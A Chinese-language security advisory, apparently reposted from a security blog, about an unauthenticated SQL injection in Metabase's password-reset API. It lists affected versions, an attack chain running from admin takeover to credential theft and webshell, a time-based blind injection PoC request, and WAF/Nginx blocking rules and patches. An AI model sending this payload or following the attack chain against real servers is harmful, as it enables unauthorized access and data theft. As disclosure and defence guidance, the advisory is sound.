【高危漏洞预警】Metabase未授权SQL注入漏洞
jufeng
jufeng
飓风网络安全
2026年8月11日 11:31
北京
在小说阅读器读本章
去阅读
漏洞描述:
Metabase 是开源轻量化 BI 数据分析可视化平台,广泛用于企业业务数据大屏、自助报表、多数据源统一接入(MySQL、PostgreSQL、Oracle、H2 等),企业内网、云环境大量私有化部署;平台内置独立业务数据库,存储管理员账号、数据源连接账号密码、仪表盘配置、权限策略等核心敏感数据。
接口未做身份认证拦截,任意匿名攻击者可直接调用,传入的email参数未做预编译参数化绑定,直接拼接至原生SQL语句查询用户表core\_user
影响范围:
1.58.0 ≤ Version < 1.58.24
1.59.0 ≤ Version < 1.59.21
1.60.0 ≤ Version < 1.60.17
1.61.0 ≤ Version < 1.61.11
1.62.0 ≤ Version < 1.62.9
1.63.0 ≤ Version < 1.63.5
攻击前置条件
仅需公网/内网可访问 Metabase 3000 端口,无需登录、无需任何账号权限、无需用户交互,纯远程无鉴权触发注入
完整攻击链路:
匿名调用重置接口注入 SQL,篡改core\_user表管理员账号密码哈希
直接登录后台获取全局管理员权限
读取平台内置数据库中保存的全部业务数据源连接账号、密码、JDBC 地址
依托BI数据源权限横向渗透业务数据库,拖库、篡改数据、植入恶意报表执行内网探测
极端场景结合平台功能写入恶意脚本、服务器文件落地webshell
POC:
HTTP 原生漏洞探测 POC(延时注入盲注验证存在性)
POST /api/session/reset\_password HTTP/1.1
Host: 目标IP:3000
Content-Type: application/json
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64)
{\"email\":\"'||(SELECT pg\_sleep(5))-- \"}
修复方案:
升级至官方安全补丁版本:
原版本分支 安全修复版本
1.58.x 1.58.24
1.59.x 1.59.21
1.60.x 1.60.17
1.61.x 1.61.11
1.62.x 1.62.9
1.63.x 1.63.5
1.边界防火墙/WAF拦截
封禁外网访问/api/session/reset\_password接口
WAF 规则拦截请求体包含单引号、UNION、UPDATE、SELECT SLEEP等注入特征
网络访问管控
Metabase 3000 端口禁止对公网暴露,仅内网 IP 白名单放行;云安全组、ACL 收紧访问源
后端临时限制:
Nginx 反向代理配置拦截恶意请求示例:
location /api/session/reset\_password {
if ($request\_body ~\* \"[';()UNION|SLEEP|UPDATE|SELECT]\") {
return 403;
}
proxy\_pass http://127.0.0.1:3000;
}
2.代码层面根治优化(二次开发定制部署)
所有入参强制使用JDBI/HikariCP预编译参数化查询,杜绝SQL字符串拼接
对重置密码接口增加登录态校验,仅登录用户允许发起重置申请
输入层全局过滤特殊SQL关键字、单引号转义
内置数据库执行账号最小权限,禁止 UPDATE、DELETE高危DML操作
版权声明
本站仅做备份收录,仅供研究与教学参考之用。
读者将信息用于其他用途的,全部法律及连带责任由读者自行承担,本站不承担任何责任。









评论